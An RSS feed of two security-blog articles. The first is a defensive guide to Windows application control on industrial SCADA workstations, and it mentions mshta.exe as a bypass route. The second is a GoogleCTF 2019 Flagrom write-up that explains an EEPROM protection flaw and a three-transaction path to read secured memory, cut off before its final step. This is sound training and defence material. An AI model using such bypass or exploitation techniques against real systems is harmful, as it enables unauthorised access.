<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Gauthier Sebaux, Auteur</title>
	<atom:link href="https://www.riskinsight-wavestone.com/en/author/gauthier-sebaux/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.riskinsight-wavestone.com/author/gauthier-sebaux/</link>
	<description>The cybersecurity &#38; digital trust blog by Wavestone&#039;s consultants</description>
	<lastBuildDate>Wed, 06 Dec 2023 09:03:24 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/Blogs-2024_RI-39x39.png</url>
	<title>Gauthier Sebaux, Auteur</title>
	<link>https://www.riskinsight-wavestone.com/author/gauthier-sebaux/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Application control: what strategy you should adopt for your industrial supervision system?</title>
		<link>https://www.riskinsight-wavestone.com/en/2023/12/application-control-what-strategy-you-should-adopt-for-your-industrial-supervision-system/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2023/12/application-control-what-strategy-you-should-adopt-for-your-industrial-supervision-system/#respond</comments>
		
		<dc:creator><![CDATA[Gauthier Sebaux]]></dc:creator>
		<pubDate>Wed, 06 Dec 2023 09:03:23 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Manufacturing & Industry 4.0]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=21940</guid>

					<description><![CDATA[<p>The industrial control system (ICS) is the set of resources and machines used to supervise and control an industrial process. This article looks at the security issues surrounding Windows devices of the ICS supervision and maintenance layer: SCADA servers and...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/12/application-control-what-strategy-you-should-adopt-for-your-industrial-supervision-system/">Application control: what strategy you should adopt for your industrial supervision system?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>The <strong>industrial control system (ICS)</strong> is the set of resources and machines used to supervise and control an industrial process. This article looks at the security issues surrounding Windows devices of the ICS supervision and maintenance layer: SCADA servers and clients, Data Historians, engineering stations, and maintenance laptops.</p>
<p><img fetchpriority="high" decoding="async" class="wp-image-21930 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage1.png" alt="" width="668" height="280" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage1.png 1369w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage1-437x183.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage1-71x30.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage1-768x321.png 768w" sizes="(max-width: 668px) 100vw, 668px" /></p>
<p>A SCADA (Supervisory Control And Data Acquisition) system enables the remote management and control of industrial installations. This includes machines such as supervision stations, data centralization servers, maintenance laptops&#8230;).</p>
<p>SCADA stations include three main functions:</p>
<ul>
<li><strong>Acquisition</strong>: Sensors are present on the programmable logic controllers (PLCs) acting on the industrial process. These sensors are connected to the SCADA system so that the various process data can be retrieved.</li>
<li><strong>Supervision</strong>: Operators access the retrieved data and supervise the industrial process in real time.</li>
<li><strong>Control</strong>: when the industrial process allows it, operators can send control commands to PLCs in order to adapt the process.</li>
</ul>
<p>The nature of these workstations makes them an important element in the production chain, which is why it is necessary to secure their software, which often runs under Windows.</p>
<p>However, there are several <strong>limitations</strong> compared with a workstation in a conventional office environment:</p>
<ul>
<li>The workstations run continuously, with a very low update frequency (once every 1 to 2 years);</li>
<li>What&#8217;s more, these workstations have a long lifespan, often more than 10 years. A SCADA workstation will therefore partly run on an obsolete operating system, which will no longer receive security patches during its lifetime.</li>
<li>Finally, industrial systems are sometimes totally isolated, preventing the use of security solutions such as Endpoint Detection and Response (EDR), which need to be able to communicate with a central console to send alerts and retrieve actions to be taken.</li>
</ul>
<p>Conventional security solutions are therefore not applicable in an ecosystem subject to these limitations.</p>
<p> </p>
<h2>A possible solution: application control</h2>
<p>One solution to these problems is application control: this involves managing which applications are allowed to run on a machine, and which are not, by whitelisting authorized applications.</p>
<p>Application control solutions manage both ‘.exe’ files and other program types such as DLLs, drivers, and scripts (e.g. PowerShell, CMD or VBS).</p>
<p><img decoding="async" class="wp-image-21942 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/ENImage2.png" alt="" width="530" height="249" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/ENImage2.png 1872w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/ENImage2-406x191.png 406w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/ENImage2-71x33.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/ENImage2-768x361.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/ENImage2-1536x722.png 1536w" sizes="(max-width: 530px) 100vw, 530px" /></p>
<p>A significant proportion of threats come from malware. This kind of solution allows one to only authorize needed applications, while blocking any undesirable or dangerous ones. Application control also maintains a good level of security in an obsolete system prone to vulnerabilities, since during the compromise stages, an attacker is often led to run malware on a system.</p>
<p>Furthermore, application control is easily integrated into the industrial environment: supervisory workstations are subject to far fewer changes than an office workstation, so there is no need to constantly review the whitelist to add applications to be authorized.</p>
<p> </p>
<h2>Application control solutions for Windows</h2>
<p>Two application control solutions are available natively on Windows: Windows Defender Application Control (WDAC) and AppLocker. WDAC appeared with Windows 10; it is the successor to AppLocker, which has been present since Windows 7. The two solutions have remarkably similar functionalities, however <strong>WDAC is actively maintained</strong> by Microsoft with regular additions of new features, whereas AppLocker only receives security updates.</p>
<p>When an application is not authorized by the whitelist, its execution will be blocked and the error message below will be displayed to the user. An event containing the blocking information will also be recorded in the Windows logs for review by the Security Operations Center (SOC), or information system administrators.</p>
<p><img decoding="async" class="wp-image-21934 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage3.png" alt="" width="469" height="167" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage3.png 825w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage3-437x156.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage3-71x25.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage3-768x274.png 768w" sizes="(max-width: 469px) 100vw, 469px" /></p>
<p>Application control can operate in blocking or audit mode. In audit mode, the list used is tested: unauthorized applications are still executed, but a blocking event is registered to indicate that they would not work in blocking mode.</p>
<p>For effective application control, it is necessary to create a whitelist that is as restrictive as possible, while still allowing business applications. For both solutions, the whitelist can be set up with three different rules:</p>
<ul>
<li><strong>Path-based rules</strong>: authorize the application according to the path from which it is executed. These are the easiest rules to use, but they can lead to security issues. It is not uncommon to find authorized folders in the whitelist that are writable by users. Users will then be able to drop any application into the folder to run it, thus bypassing application control.</li>
<li><strong>Editor rules</strong>: authorize the application according to the elements of its digital signature. These rules are just as easy to use as path rules but maintain a high level of security by only authorizing applications from legitimate publishers. The main advantage of this type of rule is that they remain valid after an application update, as the publisher does not change. However, this would require the applications awaiting authorization to be signed, which is not always the case in industrial environments.</li>
<li><strong>Hash rules</strong>: authorize applications according to their hash. These rules impose the highest possible restriction. As each application&#8217;s hash is unique, only code explicitly authorized by the policy can be executed. However, this type of rule generates a significant organizational cost: any modification to an application changes its hash; the rule must then be updated to correctly authorize the application.</li>
</ul>
<p>When it comes to choosing the type of rule to use, there are two possible scenarios:</p>
<ul>
<li>On <strong>equipment receiving updates</strong>, editor rules should be preferred to be able to maintain the validity of the whitelist even after application files have been modified. Path rules can be used secondarily for unsigned applications, while paying particular attention to the access rules for the directories in question.</li>
<li>On <strong>equipment whose configuration will not change</strong>, editor rules can be used to easily authorize Windows core code. Business applications can then be authorized using hash rules, as they are unlikely to be modified.</li>
</ul>
<p> </p>
<h2>Implementation steps</h2>
<p>Now that we know which rules to use, we need to create a whitelist for the machine to be secured. Two approaches are adopted, depending on the type of machine to be managed:</p>
<h4><strong>Temporal approach: Deployment by continuous improvement</strong></h4>
<p><img loading="lazy" decoding="async" class="wp-image-21944 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/ENImage4.png" alt="" width="669" height="184" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/ENImage4.png 1423w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/ENImage4-437x120.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/ENImage4-71x20.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/ENImage4-768x211.png 768w" sizes="auto, (max-width: 669px) 100vw, 669px" /></p>
<p>This method consists in deploying application control starting with a basic policy authorizing Windows components, which is then improved little by little thanks to events generated by the execution of business applications.</p>
<p>This approach is particularly well suited to existing production workstations, where administrators do not have much information on the system. Each event generated must then be reviewed to assess whether the application being executed is legitimate or not. This provides an exhaustive whitelist without authorizing illegitimate applications.</p>
<h4><strong>Model-based approach: Deployment on a &#8220;golden image&#8221;, then replicated on the rest of the machines.</strong></h4>
<p><img loading="lazy" decoding="async" class="wp-image-21946 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/ENImage5.png" alt="" width="670" height="248" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/ENImage5.png 1402w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/ENImage5-437x162.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/ENImage5-71x26.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/ENImage5-768x284.png 768w" sizes="auto, (max-width: 670px) 100vw, 670px" /></p>
<p>In this approach, WDAC will be deployed on a &#8220;<strong>golden image</strong>&#8220;, i.e. a clean image containing all the applications required for the machine&#8217;s business use. Once the policy has been correctly configured, the golden image can be cloned on all other machines with the same role. Typically, the golden image could be produced following acceptance testing (FAT/SAT) when a new plant is set up.</p>
<p>This approach is recommended for commissioning new stations into production. By starting with a blank machine where all the software required for the job is installed, we can ensure that no illegitimate applications are present on the machine. It is then possible to use the tools provided by Microsoft to scan the machine and automatically generate a whitelist, authorizing all applications present on the machine.</p>
<p> </p>
<h2>Limits of application control</h2>
<p>It is important to bear in mind the limitations of these solutions, which are not fallible. By their very nature, the actions of an application authorized to be executed are no longer monitored, and the application itself can execute code or launch other programs. Consequently, if an attacker were to discover a vulnerability in a whitelisted application, application control would not prevent its exploitation, which would allow the attacker to influence the industrial process, but it would not allow malicious files such as ransomware to be executed.</p>
<p>There are several ways of bypassing application control, using programs that come as standard with Windows. This is particularly true of ‘mshta.exe’, which can be used to run stand-alone HTML applications (.hta) that can execute code on a machine. For this reason, Microsoft constantly maintains a list of applications present in Windows or signed by Microsoft to be blocked, in order to tighten application control.</p>
<p>The same principle applies to business programs. It is up to manufacturers to have their applications audited to ensure that no vulnerabilities are present that could allow the workstation to be compromised.</p>
<p> </p>
<h2>Application control on Windows: WDAC or AppLocker?</h2>
<p>Overall, both solutions are remarkably similar and compatible with the two deployment modes presented above, so the remaining question is how to choose between the two.</p>
<p>  Whenever possible, it is best to choose <strong>WDAC</strong>: its strength lies in its global control capability and its various functionalities. AppLocker can only control programs ran by the user, whereas WDAC can also control programs ran by Windows, such as drivers.</p>
<p>What is more, WDAC integrates additional features such as protection against elevation of privileges, and automatic verification of user access on path rules. Microsoft also continues to support the solution and enhance it with new features, while AppLocker only receives security updates.</p>
<p>AppLocker is generally simpler to use than WDAC and allows differentiation regarding the application of rules according to the machine&#8217;s users, whereas WDAC&#8217;s rules apply to the whole machine without distinction.</p>
<p>However, WDAC is only available on Windows 10 and above. On machines running Windows 7, which are still very common on industrial networks, <strong>AppLocker</strong> is the only native solution available and should therefore be used. On Windows 10 and above, WDAC is the better application control solution, and should be preferred.</p>
<p>In addition, AppLocker can be used alongside WDAC if you need to differentiate rules for different users. WDAC should then be implemented at the most restrictive level possible, then AppLocker can be used to fine-tune the restrictions.</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/12/application-control-what-strategy-you-should-adopt-for-your-industrial-supervision-system/">Application control: what strategy you should adopt for your industrial supervision system?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2023/12/application-control-what-strategy-you-should-adopt-for-your-industrial-supervision-system/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>GoogleCTF 2019 Quals – Flagrom Challenge Writeup</title>
		<link>https://www.riskinsight-wavestone.com/en/2019/07/googlectf-2019-quals-flagrom-challenge-writeup/</link>
		
		<dc:creator><![CDATA[Gauthier Sebaux]]></dc:creator>
		<pubDate>Tue, 23 Jul 2019 17:14:02 +0000</pubDate>
				<category><![CDATA[Challenges]]></category>
		<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[challenge; concours;]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[write up]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15578</guid>

					<description><![CDATA[<p>On June 22 and 23, 2019, Wavestone CTF team YoloSw4g took part in the qualifications for the Google CTF Finals. During this CTF, Google has provided many unusual challenges. Among them is Flagrom, a challenge halfway between hardware hacking and software...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2019/07/googlectf-2019-quals-flagrom-challenge-writeup/">GoogleCTF 2019 Quals – Flagrom Challenge Writeup</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-NRoX8x8cCbs/XTb162VokSI/AAAAAAAAApo/XhNoXYqweqsqJlUhExWrSP4_ZQIedGCjQCLcBGAs/s1600/header.jpg"><img loading="lazy" decoding="async" src="https://1.bp.blogspot.com/-NRoX8x8cCbs/XTb162VokSI/AAAAAAAAApo/XhNoXYqweqsqJlUhExWrSP4_ZQIedGCjQCLcBGAs/s640/header.jpg" width="640" height="160" border="0" data-original-height="200" data-original-width="800" /></a></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">On June 22 and 23, 2019, Wavestone CTF team <i>YoloSw4g</i> took part in the qualifications for the Google CTF Finals. During this CTF, Google has provided many unusual challenges. Among them is Flagrom, a challenge halfway between hardware hacking and software security.</div>
<div style="text-align: justify;"></div>
<style type="text/css">
span.w-code { display: block; background-color: black; font-size: 10pt; color: rgb(224, 226, 228); white-space: pre-wrap; overflow-wrap: break-word; line-height: 14px; padding: 1%; font-family: monospace !important; }<br />.w-user { color: cornflowerblue; font-family: monospace !important; }<br />.w-root { color: lightcoral; font-family: monospace !important; }<br />.w-server { color: chartreuse; font-family: monospace !important; }<br />.w-cli { color: lightskyblue; font-family: monospace !important; }<br />.w-grepped { color: red; font-family: monospace !important; }<br />.w-all { font-family: monospace !important; }<br />.w-inline-code { color: rgb(199, 37, 78); background-color: rgb(249, 242, 244); border-radius: 4px; padding: 2px 4px; font-family: monospace !important; }<br />.sc0 { font-family: monospace !important; }<br />.sc4 { color: rgb(255, 132, 9); font-family: monospace !important; }<br />.sc10 { color: rgb(232, 226, 183); font-family: monospace !important; }<br />.sc11 { font-family: monospace !important; }<br />.sc16 { color: rgb(103, 140, 177); font-family: monospace !important; }<br />#table_wiki { width: 100%; border-collapse: collapse; }<br />#table_wiki td { text-align: center; border: 1px solid gray; width: 8%; background-color: rgb(245, 239, 237); }<br />.sc2 { color: rgb(255, 205, 34); font-family: monospace !important; }<br />.sc1 { color: rgb(102, 116, 123); font-family: monospace !important; }<br />.sc5 { font-weight: bold; color: rgb(147, 199, 99); font-family: monospace !important; }<br />.sc6 { color: rgb(236, 118, 0); font-family: monospace !important; }<br />.sc9 { color: rgb(160, 130, 189); font-family: monospace !important; }<br />.sc3 { color: rgb(236, 118, 0); font-family: monospace !important; }<br /></style>
<p>&nbsp;</p>
<h3 style="text-align: justify;">Introduction</h3>
<div style="text-align: justify;">The goal of the challenge is simple and given in the description:</div>
<p><span class="w-code">This 8051 board has a SecureEEPROM installed. It&#8217;s obvious the flag is stored there. Go and get it.</span></p>
<div style="text-align: justify;">Four files are provided with it:</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://github.com/CERT-W/securityinsider/blob/master/Google-CTF-Quals2019-Flagrom-Challenge-Writeup/files/flagrom?raw=true">flagrom</a>: an ELF64 which is the main program,</li>
<li><a href="https://github.com/CERT-W/securityinsider/blob/master/Google-CTF-Quals2019-Flagrom-Challenge-Writeup/files/firmware.8051?raw=true">firmware.8051</a>: the firmware which is compiled for an Intel 8051 microcontroller,</li>
<li><a href="https://github.com/CERT-W/securityinsider/blob/master/Google-CTF-Quals2019-Flagrom-Challenge-Writeup/files/firmware.c">firmware.c</a>: the source code of firmware.8051,</li>
<li><a href="https://github.com/CERT-W/securityinsider/blob/master/Google-CTF-Quals2019-Flagrom-Challenge-Writeup/files/seeprom.sv">seeprom.sv</a>: the hardware description (in SystemVerilog) of the SecureEEPROM.</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">At the first launch, a proof of work is required:</div>
<div style="text-align: justify;"><span class="w-code">$ <span class="w-cli">./flagrom </span><br />
What&#8217;s a printable string less than 64 bytes that starts with flagrom- whose md5 starts with <span class="w-grepped">55d55d</span>?´</span></div>
<p>&nbsp;</p>
<div style="text-align: justify;">The <b>LD_PRELOAD</b> functionality allows you to bypass the proof of work when executing locally. To do this, simply redefine the <i>exit() </i>function to do nothing:</div>
<div style="text-align: justify;"><span class="w-code"><span class="sc16">void</span> <span class="sc11">exit</span><span class="sc10">(</span><span class="sc16">int</span> <span class="sc11">x</span><span class="sc10">){</span><span class="sc0"><br />
</span><span class="sc11">x</span> <span class="sc10">=</span> <span class="sc4">1</span> <span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc10">}</span></span></div>
<div style="text-align: justify;">It is then possible to get an overview of how the challenge works:</div>
<p><span class="w-code">$ <span class="w-cli">LD_PRELOAD=exit.so ./flagrom </span><br />
What&#8217;s a printable string less than 64 bytes that starts with flagrom- whose md5 starts with c7e0be?<br />
That looks wrong. Good bye.<br />
Wrong answer. Good bye.<br />
What&#8217;s the length of your payload?<br />
0<br />
Executing firmware&#8230;<br />
[FW] Writing flag to SecureEEPROM&#8230;&#8230;&#8230;&#8230;&#8230;DONE<br />
[FW] Securing SecureEEPROM flag banks&#8230;&#8230;&#8230;..DONE<br />
[FW] Removing flag from 8051 memory&#8230;&#8230;&#8230;&#8230;.DONE<br />
[FW] Writing welcome message to SecureEEPROM&#8230;.DONE<br />
Executing usercode&#8230;<br />
Clean exit.</span></p>
<div style="text-align: justify;"><b>Flagrom </b>operates as follows:</div>
<div style="text-align: justify;">
<ul>
<li>Get a proof of work,</li>
<li>Get usercode from the user (the payload),</li>
<li>Execute the firmware,</li>
<li>Execute the usercode.</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Let&#8217;s take a look at the firmware code:</div>
<p><span class="w-code"><span class="sc16">void</span> <span class="sc11">main</span><span class="sc10">(</span><span class="sc16">void</span><span class="sc10">)</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc11">write_flag</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc11">secure_banks</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc11">remove_flag</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc11">write_welcome</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc11">POWEROFF</span> <span class="sc10">=</span> <span class="sc4">1</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc10">}</span></span></p>
<div style="text-align: justify;">The <i>main()</i> function sum up all actions:</div>
<div style="text-align: justify;">
<ul>
<li>The flag is written in the SecureEEPROM, starting at address 64.</li>
<li>The second 64-byte bank (the one with the flag) is <b>secured against access</b>.</li>
<li>The <b>flag is removed</b> from the main program memory.</li>
<li>The string &#8220;Hello there&#8221; is written in the SecureEEPROM, starting at address 0.</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h3>Understanding the SecureEEPROM</h3>
</div>
<div style="text-align: justify;">All communications with the SecureEEPROM is perform with the I²C protocol. Before going into the SecureEEPROM code, it is necessary to understand how I²C works.</div>
<div style="text-align: justify;">It is a 2-wires master-slave communication protocol widely used in hardware. The first wire, named SCL, serves as a clock to indicated when a signal is safe for reading. The second wire, named SDA, holds the data to be transmitted.</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-6CXt0-ApxMw/XTb16Ga-g3I/AAAAAAAAAps/kHpJlrFLRVQrl_Up6zGiz8cm4IuriivTQCEwYBhgL/s1600/1.png"><img loading="lazy" decoding="async" src="https://1.bp.blogspot.com/-6CXt0-ApxMw/XTb16Ga-g3I/AAAAAAAAAps/kHpJlrFLRVQrl_Up6zGiz8cm4IuriivTQCEwYBhgL/s640/1.png" width="640" height="106" border="0" data-original-height="267" data-original-width="1600" /></a></div>
<div style="text-align: center;"><i><span style="font-size: x-small;">Timing diagram of a I²C communication (source: Wikipedia)</span></i></div>
</div>
<div style="text-align: justify;">An I²C transaction is a composed of:</div>
<div style="text-align: justify;">
<ul>
<li>A <i>start bit</i> (in yellow) which indicate a new transaction is about to be sent,</li>
<li>Several data bits (in green), indicated with a high SCL,</li>
<li>A <i>stop bit</i> (in yellow) which indicate the end on the transaction.</li>
</ul>
</div>
<div style="text-align: justify;">After every byte, a special state of SDA and SCL allows slaves to acknowledge (ACK) the reception of data.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">I²C specifications define an addressing structure to indicate which slave is the recipient:</div>
<div style="text-align: justify;">
<ul>
<li>The address constitutes the first 7 bits of the transaction (most significant bit first).</li>
<li>The 8th bit indicates whether it is a read (1) or write (0) action.</li>
<li>The slave acknowledges here (first byte).</li>
<li>The rest is the data which is device-specific.</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<table id="table_wiki">
<tbody>
<tr>
<td style="background-color: #dfdcd4;" rowspan="4">Start</td>
<td colspan="7">Slave address</td>
<td style="background-color: #dacdeb;">R/W</td>
<td style="background-color: #dfdcd4;" rowspan="4">ACK</td>
<td rowspan="4">Data</td>
<td style="background-color: #dfdcd4;" rowspan="4">Stop</td>
</tr>
<tr>
<td>0</td>
<td>1</td>
<td>2</td>
<td>3</td>
<td>4</td>
<td>5</td>
<td>6</td>
<td style="background-color: #dacdeb;">7</td>
</tr>
<tr>
<td rowspan="2">MSB</td>
<td rowspan="2"></td>
<td rowspan="2"></td>
<td rowspan="2"></td>
<td rowspan="2"></td>
<td rowspan="2"></td>
<td rowspan="2">LSB</td>
<td style="background-color: #dacdeb;">0 = R</td>
</tr>
<tr>
<td style="background-color: #dacdeb;">1 = W</td>
</tr>
</tbody>
</table>
<div style="text-align: center;"><i><span style="font-size: x-small;">Addressing structure of an I²C transaction</span></i></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">For the SecureEEPROM, two addresses are defined in <i>firmware.c</i>:</div>
<div style="text-align: justify;">
<ul>
<li>The address of the memory module used to read and write data in the EEPROM,</li>
<li>The address of the security module used to secure EEPROM data banks.</li>
</ul>
</div>
<div style="text-align: justify;">The messages to the security module do not exactly follows this structure. A 4-bit prefix is used as slave address, while the remaining four bits (bits 4 to 7) are used to indicate which 64-bytes bank to secure.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Let&#8217;s now take a deeper look at the hardware description of the SecureEEPROM. It is written in SystemVerilog syntax. If you are not comfortable with it, you should first read the Wikipedia page to understand the basis.</div>
<div style="text-align: justify;">Some procedural blocks are used to keep track of the state of the I²C bus within the program:</div>
<div style="text-align: justify;">
<ul>
<li><b>i2c_scl_state </b>keeps track of the state of the SCL wire. It may be stable high, stable low or on a rising or falling edge.</li>
<li><b>i2c_start </b>and <b>i2c_stop </b>are set whenever a start or stop bit is sent on the bus.</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">The main part of the SecureEEPROM hardware is a Flip-Flop procedural block (<b>always_ff</b>) which defines a finite state machine to handle I²C communications and actions on the EEPROM.</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;"></div>
<p><a style="margin-left: 1em; margin-right: 1em; text-align: center;" href="https://1.bp.blogspot.com/-0wpaO63mcJY/XTcCOF4K8UI/AAAAAAAAAqM/8NlIiuRYg8kb8rQPHZJsz4wrYO6JydVVgCLcBGAs/s1600/2.png"><img loading="lazy" decoding="async" src="https://1.bp.blogspot.com/-0wpaO63mcJY/XTcCOF4K8UI/AAAAAAAAAqM/8NlIiuRYg8kb8rQPHZJsz4wrYO6JydVVgCLcBGAs/s640/2.png" width="609" height="640" border="0" data-original-height="1160" data-original-width="1105" /></a></p>
</div>
<div style="text-align: justify;">
<div style="text-align: center;"><i><span style="font-size: x-small;">Finite state machine of the SecureEEPROM</span></i></div>
</div>
<div style="text-align: justify;">
<ul>
<li>The SecureEEPROM start in the state I2C_IDLE where it waits for a start bit to be received.</li>
<li>After the start bit, it reads the first control byte to get the slave address (control_prefix) to perform the right actions.</li>
<li>When the recipient is the security module, the bank index is contained in the least four significant bits of the control. It is directly secured and the SecureEEPROM returns in the I2C_IDLE state.</li>
<li>When the recipient is the EEPROM module, the action depends on the R/W bit of the control byte:
<ul>
<li>For write action, the EEPROM first read an address before writing into memory.</li>
<li>For read action, the EEPROM need to have already an address loaded before sending bytes of its memory. To read the EEPROM from the user program, one should
<ul>
<li>Start a write transaction to the EEPROM module and load the address,</li>
<li>Start a new read transaction to the EEPROM module without a stop bit,</li>
<li>Read the required number of bytes,</li>
<li>Send a stop bit to end the transaction.</li>
</ul>
</li>
</ul>
</li>
</ul>
<ul>
<li>In any state, the reception of a stop bit will clear the loaded address and transition to the I2C_IDLE state.</li>
<li>In any state, the reception of a start bit will transition to the I2C_START state without clearing the loaded address.</li>
</ul>
</div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<h3>Reading secured areas</h3>
</div>
<div style="text-align: justify;">
<h4>Finding the vulnerability</h4>
</div>
<div style="text-align: justify;">The protection of the memory, in the EEPROM, is performed at two stages:</div>
<div style="text-align: justify;">
<ul>
<li>When an address is loaded, if the pointed memory location is secured, the address is tainted as invalid (<b>i2c_address_valid</b> = 0),</li>
<li>After each read or write action, the loaded address is increased only if the security of the next address is the same as the security of the current address.</li>
</ul>
</div>
<div style="text-align: justify;">The latter condition is strange: why not only check whether next address is secured? It means that it is possible to read secured address if the current address is secured. However, we cannot load a secured address because of the former condition.</div>
<div style="text-align: justify;">What about changing the security of the current address after loading it?</div>
<div style="text-align: justify;">
<ul>
<li>When a bank is secured, the loaded address is not checked nor invalidated.</li>
<li>We cannot send any stop bit otherwise the loaded address would be invalidated.</li>
<li>However, we can use the start bit to start a new transaction while keeping the address loaded.</li>
</ul>
</div>
<div style="text-align: justify;">
<p>With this in mind, a path of three transactions can be found to read secured areaFirst load an address in the first unprotected bank and end with a start bit:</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-ea3gOmmP50s/XTcDq6OL3BI/AAAAAAAAAqk/V7qRFMMvEf0HBix9pchtVUwdC3qL-SitgCLcBGAs/s1600/3.png"><img loading="lazy" decoding="async" src="https://1.bp.blogspot.com/-ea3gOmmP50s/XTcDq6OL3BI/AAAAAAAAAqk/V7qRFMMvEf0HBix9pchtVUwdC3qL-SitgCLcBGAs/s640/3.png" width="640" height="454" border="0" data-original-height="611" data-original-width="860" /></a></div>
</div>
<div style="text-align: justify;">
<div style="text-align: center;"><i><span style="font-size: x-small;"> </span></i></div>
<div style="text-align: center;"><i><span style="font-size: x-small;">Exploitation path — load an unprotected address</span></i></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">
<p>Then secure the first bank:</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-87VxHPpRYPI/XTcD8u8jqRI/AAAAAAAAAqs/84LQ1r5eTn0Mc7GtlQSJDJKwBuNEXtbLACLcBGAs/s1600/4.png"><img loading="lazy" decoding="async" src="https://1.bp.blogspot.com/-87VxHPpRYPI/XTcD8u8jqRI/AAAAAAAAAqs/84LQ1r5eTn0Mc7GtlQSJDJKwBuNEXtbLACLcBGAs/s640/4.png" width="640" height="280" border="0" data-original-height="379" data-original-width="861" /></a></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">
<div style="text-align: center;"><i><span style="font-size: x-small;">Exploitation path — secure the bank of the loaded address</span></i></div>
</div>
<div style="text-align: justify;">
<p>Finally, start a read action and read past the current bank boundaries:</p>
